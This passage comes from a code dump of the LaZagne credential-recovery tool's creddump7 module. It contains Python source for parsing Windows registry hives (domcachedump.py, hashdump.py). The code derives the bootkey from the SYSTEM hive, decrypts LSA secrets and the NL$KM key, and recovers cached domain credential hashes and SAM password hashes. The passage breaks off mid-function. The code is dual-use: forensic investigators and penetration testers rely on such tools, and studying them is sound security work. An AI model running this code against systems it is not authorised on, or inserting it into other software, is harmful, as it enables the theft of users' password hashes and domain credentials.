zero:\n                    return \"\\0\" * length\n                else:\n                    return stuff_read\n\n            stuff_read = self.base.read(paddr, first_block)\n            if not stuff_read and zero:\n                stuff_read = \"\\0\" * first_block\n\n        new_vaddr = vaddr + first_block\n        for i in range(0, full_blocks):\n            paddr = self.vtop(new_vaddr)\n            if not paddr and zero:\n                stuff_read = stuff_read + \"\\0\" * BLOCK_SIZE\n            elif not paddr:\n                return None\n            else:\n                new_stuff = self.base.read(paddr, BLOCK_SIZE)\n                if not new_stuff and zero:\n                    new_stuff = \"\\0\" * BLOCK_SIZE\n                elif not new_stuff:\n                    return None\n                else:\n                    stuff_read = stuff_read + new_stuff\n            new_vaddr = new_vaddr + BLOCK_SIZE\n\n        if left_over > 0:\n            paddr = self.vtop(new_vaddr)\n            if not paddr and zero:\n                stuff_read = stuff_read + \"\\0\" * left_over\n            elif not paddr:\n                return None\n            else:\n                stuff_read = stuff_read + self.base.read(paddr, left_over)\n        return stuff_read\n\n    def read_long_phys(self, addr):\n        string = self.base.read(addr, 4)\n        (longval,) = struct.unpack('L', string)\n        return longval\n\n    def is_valid_address(self, vaddr):\n        paddr = self.vtop(vaddr)\n        if not paddr: return False\n        return self.base.is_valid_address(paddr)\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/creddump7/newobj.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nfrom .object import *\nfrom .types import regtypes as types\nfrom operator import itemgetter\nfrom struct import unpack\n\n\ndef get_ptr_type(structure, member):\n    \"\"\"Return the type a pointer points to.\n       \n       Arguments:\n         structure : the name of the structure from vtypes\n         member : a list of members\n\n       Example:\n         get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY']\n    \"\"\"\n    if len(member) > 1:\n        _, tp = get_obj_offset(types, [structure, member[0]])\n        if tp == 'array':\n            return types[structure][1][member[0]][1][2][1]\n        else:\n            return get_ptr_type(tp, member[1:])\n    else:\n        return types[structure][1][member[0]][1][1]\n\n\nclass Obj(object):\n    \"\"\"Base class for all objects.\n       \n       May return a subclass for certain data types to allow\n       for special handling.\n    \"\"\"\n\n    def __new__(typ, name, address, space):\n        if name in globals():\n            # This is a bit of \"magic\"\n            # Could be replaced with a dict mapping type names to types\n            return globals()[name](name, address, space)\n        elif name in builtin_types:\n            return Primitive(name, address, space)\n        else:\n            obj = object.__new__(typ)\n            return obj\n    \n    def __init__(self, name, address, space):\n        self.name = name\n        self.address = address\n        self.space = space\n\n        # Subclasses can add fields to this list if they want them\n        # to show up in values() or members(), even if they do not\n        # appear in the vtype definition\n        self.extra_members = []\n    \n    def __getattribute__(self, attr):\n        try:\n            return object.__getattribute__(self, attr)\n        except AttributeError:\n            pass\n\n        if self.name in builtin_types:\n            raise AttributeError(\"Primitive types have no dynamic attributes\")\n\n        try:\n            off, tp = get_obj_offset(types, [self.name, attr])\n        except Exception:\n            raise AttributeError(\"'%s' has no attribute '%s'\" % (self.name, attr))\n        \n        if tp == 'array':\n            a_len = types[self.name][1][attr][1][1]\n            l = []\n            for i in range(a_len):\n                a_off, a_tp = get_obj_offset(types, [self.name, attr, i])\n                if a_tp == 'pointer':\n                    ptp = get_ptr_type(self.name, [attr, i])\n                    l.append(Pointer(a_tp, self.address + a_off, self.space, ptp))\n                else:\n                    l.append(Obj(a_tp, self.address + a_off, self.space))\n            return l\n        elif tp == 'pointer':\n            # Can't just return a Obj here, since pointers need to also\n            # know what type they point to.\n            ptp = get_ptr_type(self.name, [attr])\n            return Pointer(tp, self.address+off, self.space, ptp)\n        else:\n            return Obj(tp, self.address+off, self.space)\n\n    def __truediv__(self, other):\n        if isinstance(other, (tuple, list)):\n            return Pointer(other[0], self.address, self.space, other[1])\n        elif isinstance(other, str):\n            return Obj(other, self.address, self.space)\n        else:\n            raise ValueError(\"Must provide a type name as string for casting\")\n\n    def __div__(self, other):\n        if isinstance(other, tuple) or isinstance(other, list):\n            return Pointer(other[0], self.address, self.space, other[1])\n        elif isinstance(other, str):\n            return Obj(other, self.address, self.space)\n        else:\n            raise ValueError(\"Must provide a type name as string for casting\")\n    \n    def members(self):\n        \"\"\"Return a list of this object's members, sorted by offset.\"\"\"\n\n        # Could also just return the list\n        membs = [(k, v[0]) for k,v in types[self.name][1].items()]\n        membs.sort(key=itemgetter(1))\n        return list(map(itemgetter(0),membs)) + self.extra_members\n\n    def values(self):\n        \"\"\"Return a dictionary of this object's members and their values\"\"\"\n        \n        valdict = {}\n        for k in self.members():\n            valdict[k] = getattr(self, k)\n        return valdict\n\n    def bytes(self, length=-1):\n        \"\"\"Get bytes starting at the address of this object.\n        \n           Arguments:\n             length : the number of bytes to read. Default: size of\n                this object.\n        \"\"\"\n\n        if length == -1:\n            length = self.size()\n        return self.space.read(self.address, length)\n\n    def size(self):\n        \"\"\"Get the size of this object.\"\"\"\n\n        if self.name in builtin_types:\n            return builtin_types[self.name][0]\n        else:\n            return types[self.name][0]\n    \n    def __repr__(self):\n        return \"<%s @%08x>\" % (self.name, self.address)\n\n    def __eq__(self, other):\n        if not isinstance(other, Obj):\n            raise TypeError(\"Types are incomparable\")\n        return self.address == other.address and self.name == other.name\n\n    def __ne__(self, other):\n        return not self.__eq__(other)\n\n    def __hash__(self):\n        return hash(self.address) ^ hash(self.name)\n\n    def is_valid(self):\n        return self.space.is_valid_address(self.address)\n\n    def get_offset(self, member):\n        return get_obj_offset(types, [self.name] + member)\n\n\nclass Primitive(Obj):\n    \"\"\"Class to represent a primitive data type.\n       \n       Attributes:\n         value : the python primitive value of this type\n    \"\"\"\n\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def __init__(self, name, address, space):\n        super(Primitive, self).__init__(name, address, space)\n        length, fmt = builtin_types[name]\n        data = space.read(address, length)\n        if not data:\n            self.value = None\n        else:\n            self.value = unpack(fmt,data)[0]\n    \n    def __repr__(self):\n        return repr(self.value)\n\n    def members(self):\n        return []\n\n\nclass Pointer(Obj):\n    \"\"\"Class to represent pointers.\n    \n       value : the object pointed to\n\n       If an attribute is not found in this instance,\n       the attribute will be looked up in the referenced\n       object.\"\"\"\n\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def __init__(self, name, address, space, ptr_type):\n        super(Pointer, self).__init__(name, address, space)\n        ptr_address = read_value(space, name, address)\n        if ptr_type[0] == 'pointer':\n            self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])\n        else:\n            self.value = Obj(ptr_type[0], ptr_address, self.space)\n    \n    def __getattribute__(self, attr):\n        # It's still nice to be able to access things through pointers\n        # without having to explicitly dereference them, so if we don't\n        # find an attribute via our superclass, just dereference the pointer\n        # and return the attribute in the pointed-to type.\n        try:\n            return super(Pointer, self).__getattribute__(attr)\n        except AttributeError:\n            return getattr(self.value, attr)\n    \n    def __repr__(self):\n        return \"<pointer to [%s @%08x]>\" % (self.value.name, self.value.address)\n\n    def members(self):\n        return self.value.members()\n\n\nclass _UNICODE_STRING(Obj):\n    \"\"\"Class representing a _UNICODE_STRING\n\n    Adds the following behavior:\n      * The Buffer attribute is presented as a Python string rather\n        than a pointer to an unsigned short.\n      * The __str__ method returns the value of the Buffer.\n    \"\"\"\n\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def __str__(self):\n        return self.Buffer\n\n    # Custom Attributes\n    def getBuffer(self):\n        return read_unicode_string(self.space, types, [], self.address)\n    Buffer = property(fget=getBuffer)\n\n\nclass _CM_KEY_NODE(Obj):\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def getName(self):\n        return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], self.address, self.NameLength.value)\n    Name = property(fget=getName)\n\n\nclass _CM_KEY_VALUE(Obj):\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def getName(self):\n        return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], self.address, self.NameLength.value)\n    Name = property(fget=getName)\n\n\nclass _CHILD_LIST(Obj):\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def getList(self):\n        lst = []\n        list_address = read_obj(self.space, types, ['_CHILD_LIST', 'List'], self.address)\n        for i in range(self.Count.value):\n            lst.append(Pointer(\"pointer\", list_address+(i*4), self.space, [\"_CM_KEY_VALUE\"]))\n        return lst\n    List = property(fget=getList)\n\n\nclass _CM_KEY_INDEX(Obj):\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def getList(self):\n        lst = []\n        for i in range(self.Count.value):\n            # we are ignoring the hash value here\n            off, tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])\n            lst.append(Pointer(\"pointer\", self.address+off, self.space, [\"_CM_KEY_NODE\"]))\n        return lst\n    List = property(fget=getList)\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/creddump7/object.py",
    "content": "# Volatools Basic\n# Copyright (C) 2007 Komoku, Inc.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or (at\n# your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details. \n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA \n#\n\n\"\"\"\n@author:       AAron Walters and Nick Petroni\n@license:      GNU General Public License 2.0 or later\n@contact:      awalters@komoku.com, npetroni@komoku.com\n@organization: Komoku, Inc.\n\"\"\"\n\nimport struct\n\nbuiltin_types = {\n    'int': (4, 'i'),\n    'long': (4, 'i'),\n    'unsigned long': (4, 'I'),\n    'unsigned int': (4, 'I'),\n    'address': (4, 'I'),\n    'char': (1, 'c'),\n    'unsigned char': (1, 'B'),\n    'unsigned short': (2, 'H'),\n    'short': (2, 'h'),\n    'long long': (8, 'q'),\n    'unsigned long long': (8, 'Q'),\n    'pointer': (4, 'I'),\n}\n\n\ndef obj_size(types, objname):\n    if objname not in types:\n        raise Exception('Invalid type %s not in types' % objname)\n\n    return types[objname][0]\n\n\ndef builtin_size(builtin):\n    if builtin not in builtin_types:\n        raise Exception('Invalid built-in type %s' % builtin)\n\n    return builtin_types[builtin][0]\n\n\ndef read_value(addr_space, value_type, vaddr):\n    \"\"\"\n    Read the low-level value for a built-in type.\n    \"\"\"\n\n    if value_type not in builtin_types:\n        raise Exception('Invalid built-in type %s' % value_type)\n\n    type_unpack_char = builtin_types[value_type][1]\n    type_size = builtin_types[value_type][0]\n\n    buf = addr_space.read(vaddr, type_size)\n    if buf is None:\n        return None\n\n    try:\n        (val,) = struct.unpack(type_unpack_char, buf)\n    except Exception:\n        return None\n\n    return val\n\n\ndef read_unicode_string(addr_space, types, member_list, vaddr):\n    offset = 0\n    if len(member_list) > 1:\n        (offset, current_type) = get_obj_offset(types, member_list)\n\n    buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)\n    length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)\n\n    if length == 0x0:\n        return \"\"\n\n    if buf is None or length is None:\n        return None\n\n    readBuf = read_string(addr_space, types, ['char'], buf, length)\n\n    if readBuf is None:\n        return None\n\n    try:\n        readBuf = readBuf.decode('UTF-16').encode('ascii')\n    except Exception:\n        return None\n\n    return readBuf\n\n\ndef read_string(addr_space, types, member_list, vaddr, max_length=256):\n    offset = 0\n    if len(member_list) > 1:\n        (offset, current_type) = get_obj_offset(types, member_list)\n\n    val = addr_space.read(vaddr + offset, max_length)\n\n    return val\n\n\ndef read_null_string(addr_space, types, member_list, vaddr, max_length=256):\n    string = read_string(addr_space, types, member_list, vaddr, max_length)\n\n    if string is None:\n        return None\n\n    if string.find('\\0') == -1:\n        return string\n    (string, none) = string.split('\\0', 1)\n    return string\n\n\ndef get_obj_offset(types, member_list):\n    \"\"\"\n    Returns the (offset, type) pair for a given list\n    \"\"\"\n    member_list.reverse()\n\n    current_type = member_list.pop()\n\n    offset = 0\n    current_member = 0\n    member_dict = None\n\n    while len(member_list) > 0:\n        if current_type == 'array':\n            if member_dict:\n                current_type = member_dict[current_member][1][2][0]\n            if current_type in builtin_types:\n                current_type_size = builtin_size(current_type)\n            else:\n                current_type_size = obj_size(types, current_type)\n            index = member_list.pop()\n            offset += index * current_type_size\n            continue\n\n        elif current_type not in types:\n            raise Exception('Invalid type ' + current_type)\n\n        member_dict = types[current_type][1]\n\n        current_member = member_list.pop()\n        if current_member not in member_dict:\n            raise Exception('Invalid member %s in type %s' % (current_member, current_type))\n\n        offset += member_dict[current_member][0]\n\n        current_type = member_dict[current_member][1][0]\n\n    return offset, current_type\n\n\ndef read_obj(addr_space, types, member_list, vaddr):\n    \"\"\"\n    Read the low-level value for some complex type's member.\n    The type must have members.\n    \"\"\"\n    if len(member_list) < 2:\n        raise Exception('Invalid type/member ' + str(member_list))\n\n    (offset, current_type) = get_obj_offset(types, member_list)\n    return read_value(addr_space, current_type, vaddr + offset)\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/creddump7/types.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nregtypes = {\n    '_CM_KEY_VALUE': [0x18, {\n        'Signature': [0x0, ['unsigned short']],\n        'NameLength': [0x2, ['unsigned short']],\n        'DataLength': [0x4, ['unsigned long']],\n        'Data': [0x8, ['unsigned long']],\n        'Type': [0xc, ['unsigned long']],\n        'Flags': [0x10, ['unsigned short']],\n        'Spare': [0x12, ['unsigned short']],\n        'Name': [0x14, ['array', 1, ['unsigned short']]],\n    }],\n    '_CM_KEY_NODE': [0x50, {\n        'Signature': [0x0, ['unsigned short']],\n        'Flags': [0x2, ['unsigned short']],\n        'LastWriteTime': [0x4, ['_LARGE_INTEGER']],\n        'Spare': [0xc, ['unsigned long']],\n        'Parent': [0x10, ['unsigned long']],\n        'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]],\n        'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]],\n        'ValueList': [0x24, ['_CHILD_LIST']],\n        'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']],\n        'Security': [0x2c, ['unsigned long']],\n        'Class': [0x30, ['unsigned long']],\n        'MaxNameLen': [0x34, ['unsigned long']],\n        'MaxClassLen': [0x38, ['unsigned long']],\n        'MaxValueNameLen': [0x3c, ['unsigned long']],\n        'MaxValueDataLen': [0x40, ['unsigned long']],\n        'WorkVar': [0x44, ['unsigned long']],\n        'NameLength': [0x48, ['unsigned short']],\n        'ClassLength': [0x4a, ['unsigned short']],\n        'Name': [0x4c, ['array', 1, ['unsigned short']]],\n    }],\n    '_CM_KEY_INDEX': [0x8, {\n        'Signature': [0x0, ['unsigned short']],\n        'Count': [0x2, ['unsigned short']],\n        'List': [0x4, ['array', 1, ['unsigned long']]],\n    }],\n    '_CHILD_LIST': [0x8, {\n        'Count': [0x0, ['unsigned long']],\n        'List': [0x4, ['unsigned long']],\n    }],\n}\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/creddump7/win32/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/windows/creddump7/win32/domcachedump.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nimport hmac\nimport hashlib\n\nfrom .rawreg import *\nfrom ..addrspace import HiveFileAddressSpace\nfrom .hashdump import get_bootkey\nfrom .lsasecrets import get_secret_by_name, get_lsa_key\nfrom struct import unpack\n\nfrom lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC\nfrom lazagne.config.crypto.rc4 import RC4\n\nAES_BLOCK_SIZE = 16\n\n\ndef get_nlkm(secaddr, lsakey, vista):\n    return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)\n\n\ndef decrypt_hash(edata, nlkm, ch):\n    hmac_md5 = hmac.new(nlkm, ch, hashlib.md5)\n    rc4key = hmac_md5.digest()\n\n    rc4 = RC4(rc4key)\n    data = rc4.encrypt(edata)\n    return data\n\n\ndef decrypt_hash_vista(edata, nlkm, ch):\n    \"\"\"\n    Based on code from http://lab.mediaservice.net/code/cachedump.rb\n    \"\"\"\n    aes = AESModeOfOperationCBC(nlkm[16:32], iv=ch)\n\n    out = b\"\"\n    for i in range(0, len(edata), 16):\n        buf = edata[i:i+16]\n        if len(buf) < 16:\n            buf += (16 - len(buf)) * b\"\\00\"\n        out += b\"\".join([aes.decrypt(buf[i:i + AES_BLOCK_SIZE]) for i in range(0, len(buf), AES_BLOCK_SIZE)])\n    return out\n\n\ndef parse_cache_entry(cache_data):\n    (uname_len, domain_len) = unpack(\"<HH\", cache_data[:4])\n    (domain_name_len,) = unpack(\"<H\", cache_data[60:62])\n    ch = cache_data[64:80]\n    enc_data = cache_data[96:]\n    return uname_len, domain_len, domain_name_len, enc_data, ch\n\n\ndef parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len):\n    uname_off = 72\n    pad = 2 * ((uname_len // 2) % 2)\n    domain_off = uname_off + uname_len + pad\n    pad = 2 * ((domain_len // 2) % 2)\n    domain_name_off = domain_off + domain_len + pad\n\n    data_hash = dec_data[:0x10]\n\n    username = dec_data[uname_off:uname_off+uname_len]\n    username = username.decode('utf-16-le', errors='ignore')\n\n    domain = dec_data[domain_off:domain_off+domain_len]\n    domain = domain.decode('utf-16-le', errors='ignore')\n\n    domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len]\n    domain_name = domain_name.decode('utf-16-le', errors='ignore')\n\n    return username, domain, domain_name, data_hash\n\n\ndef dump_hashes(sysaddr, secaddr, vista):\n    bootkey = get_bootkey(sysaddr)\n    if not bootkey:\n        return []\n\n    lsakey = get_lsa_key(secaddr, bootkey, vista)\n    if not lsakey:\n        return []\n\n    nlkm = get_nlkm(secaddr, lsakey, vista)\n    if not nlkm:\n        return []\n\n    root = get_root(secaddr)\n    if not root:\n        return []\n\n    cache = open_key(root, [b\"Cache\"])\n    if not cache:\n        return []\n\n    hashes = []\n    for v in values(cache):\n        if v.Name == b\"NL$Control\":\n            continue\n        \n        data = v.space.read(v.Data.value, v.DataLength.value)\n\n        (uname_len, domain_len, domain_name_len, enc_data, ch) = parse_cache_entry(data)\n        \n        # Skip if nothing in this cache entry\n        if uname_len == 0:\n            continue\n\n        if vista:\n            dec_data = decrypt_hash_vista(enc_data, nlkm, ch)\n        else:\n            dec_data = decrypt_hash(enc_data, nlkm, ch)\n\n        (username, domain, domain_name, hash) = parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len)\n        hashes.append((username, domain, domain_name, hash))\n\n    return hashes \n\n\ndef dump_file_hashes(syshive_fname, sechive_fname, vista):\n    sysaddr = HiveFileAddressSpace(syshive_fname)\n    secaddr = HiveFileAddressSpace(sechive_fname)\n\n    results = []\n    for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):\n        results.append(\"%s:%s:%s:%s\" % (u.lower(), hash.encode('hex'), d.lower(), dn.lower()))\n    return results\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/creddump7/win32/hashdump.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nimport hashlib\nimport codecs\nfrom struct import pack\n\nfrom ..addrspace import HiveFileAddressSpace\nfrom .rawreg import *\nfrom lazagne.config.crypto.rc4 import RC4\nfrom lazagne.config.crypto.pyDes import des, ECB\nfrom lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC\nfrom lazagne.config.winstructure import char_to_int, chr_or_byte, int_or_bytes\n\n\nodd_parity = [\n    1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,\n    16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,\n    32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,\n    49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,\n    64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,\n    81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,\n    97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,\n    112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,\n    128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,\n    145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,\n    161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,\n    176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,\n    193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,\n    208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,\n    224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,\n    241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254\n]\n\n# Permutation matrix for boot key\np = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,\n     0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]\n\n# Constants for SAM decrypt algorithm\naqwerty = b\"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\\0\"\nanum = b\"0123456789012345678901234567890123456789\\0\"\nantpassword = b\"NTPASSWORD\\0\"\nalmpassword = b\"LMPASSWORD\\0\"\n\nempty_lm = codecs.decode('aad3b435b51404eeaad3b435b51404ee', 'hex')\nempty_nt = codecs.decode('31d6cfe0d16ae931b73c59d7e0c089c0', 'hex')\n\nAES_BLOCK_SIZE = 16\n\n\ndef str_to_key(s):\n    key = []\n    key.append(char_to_int(s[0]) >> 1)\n    key.append(((char_to_int(s[0]) & 0x01) << 6) | (char_to_int(s[1]) >> 2))\n    key.append(((char_to_int(s[1]) & 0x03) << 5) | (char_to_int(s[2]) >> 3))\n    key.append(((char_to_int(s[2]) & 0x07) << 4) | (char_to_int(s[3]) >> 4))\n    key.append(((char_to_int(s[3]) & 0x0F) << 3) | (char_to_int(s[4]) >> 5))\n    key.append(((char_to_int(s[4]) & 0x1F) << 2) | (char_to_int(s[5]) >> 6))\n    key.append(((char_to_int(s[5]) & 0x3F) << 1) | (char_to_int(s[6]) >> 7))\n    key.append(char_to_int(s[6]) & 0x7F)\n\n    for i in range(8):\n        key[i] = (key[i] << 1)\n        key[i] = odd_parity[key[i]]\n\n    return b\"\".join(chr_or_byte(k) for k in key)\n\n\ndef sid_to_key(sid):\n    s1 = b\"\"\n    s1 += chr_or_byte(sid & 0xFF)\n    s1 += chr_or_byte((sid >> 8) & 0xFF)\n    s1 += chr_or_byte((sid >> 16) & 0xFF)\n    s1 += chr_or_byte((sid >> 24) & 0xFF)\n    s1 += int_or_bytes(s1[0])\n    s1 += int_or_bytes(s1[1])\n    s1 += int_or_bytes(s1[2])\n    s2 = int_or_bytes(s1[3]) + int_or_bytes(s1[0]) + int_or_bytes(s1[1]) + int_or_bytes(s1[2])\n    s2 += int_or_bytes(s2[0]) + int_or_bytes(s2[1]) + int_or_bytes(s2[2])\n    return str_to_key(s1), str_to_key(s2)\n\n\ndef find_control_set(sysaddr):\n    root = get_root(sysaddr)\n    if not root:\n        return 1\n\n    csselect = open_key(root, [b\"Select\"])\n    if not csselect:\n        return 1\n\n    for v in values(csselect):\n        if v.Name == b\"Current\":\n            return v.Data.value\n\n\ndef get_bootkey(sysaddr):\n    cs = find_control_set(sysaddr)\n    lsa_base = [b\"ControlSet%03d\" % cs, b\"Control\", b\"Lsa\"]\n    lsa_keys = [b\"JD\", b\"Skew1\", b\"GBG\", b\"Data\"]\n\n    root = get_root(sysaddr)\n    if not root:\n        return None\n\n    lsa = open_key(root, lsa_base)\n    if not lsa:\n        return None\n\n    bootkey = b\"\"\n\n    for lk in lsa_keys:\n        key = open_key(lsa, [lk])\n        class_data = sysaddr.read(key.Class.value, key.ClassLength.value)\n        bootkey += codecs.decode(class_data.decode('utf-16-le'), 'hex')\n\n    bootkey_scrambled = b\"\"\n    for i in range(len(bootkey)):\n        bootkey_scrambled += bootkey[p[i]:p[i]+1]\n    return bootkey_scrambled\n\n\ndef get_hbootkey(samaddr, bootkey):\n    sam_account_path = [b\"SAM\", b\"Domains\", b\"Account\"]\n\n    root = get_root(samaddr)\n    if not root:\n        return None\n\n    sam_account_key = open_key(root, sam_account_path)\n    if not sam_account_key:\n        return None\n\n    F = None\n    for v in values(sam_account_key):\n        if v.Name == b'F':\n            F = samaddr.read(v.Data.value, v.DataLength.value)\n    if not F:\n        return None\n\n    revision = ord(F[0x00:0x01])\n    if revision == 2:\n        md5 = hashlib.md5(F[0x70:0x80] + aqwerty + bootkey + anum)\n        rc4_key = md5.digest()\n        rc4 = RC4(rc4_key)\n        hbootkey = rc4.encrypt(F[0x80:0xA0])\n\n        return hbootkey\n\n    elif revision == 3:\n        iv = F[0x78:0x88]\n        encryptedHBootKey = F[0x88:0xA8]\n        cipher = AESModeOfOperationCBC(bootkey, iv=iv)\n        hbootkey = b\"\".join([cipher.decrypt(encryptedHBootKey[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encryptedHBootKey), AES_BLOCK_SIZE)])\n\n        return hbootkey[:16]\n\n\ndef get_user_keys(samaddr):\n    user_key_path = [b\"SAM\", b\"Domains\", b\"Account\", b\"Users\"]\n    root = get_root(samaddr)\n    if not root:\n        return []\n\n    user_key = open_key(root, user_key_path)\n    if not user_key:\n        return []\n\n    return [k for k in subkeys(user_key) if k.Name != b\"Names\"]\n\n\ndef decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):\n    if enc_hash == \"\":\n        return \"\"\n    (des_k1, des_k2) = sid_to_key(rid)\n    d1 = des(des_k1, ECB)\n    d2 = des(des_k2, ECB)\n    md5 = hashlib.md5()\n    md5.update(hbootkey[:0x10] + pack(\"<L\", rid) + lmntstr)\n    rc4_key = md5.digest()\n    rc4 = RC4(rc4_key)\n    obfkey = rc4.encrypt(enc_hash)\n    hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])\n    return hash_\n\n\ndef decrypt_single_salted_hash(rid, hbootkey, enc_hash, lmntstr, salt):\n    if enc_hash == \"\":\n        return \"\"\n    (des_k1, des_k2) = sid_to_key(rid)\n    d1 = des(des_k1, ECB)\n    d2 = des(des_k2, ECB)\n    cipher = AESModeOfOperationCBC(hbootkey, salt)\n    obfkey = b\"\".join([cipher.decrypt(enc_hash[i:i + AES_BLOCK_SIZE]) for i in range(0, len(enc_hash), AES_BLOCK_SIZE)])\n\n    hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])\n    return hash_\n\n\ndef get_user_hashes(user_key, hbootkey):\n    samaddr = user_key.space\n    rid = int(user_key.Name, 16)\n    V = None\n    for v in values(user_key):\n        if v.Name == b'V':\n            V = samaddr.read(v.Data.value, 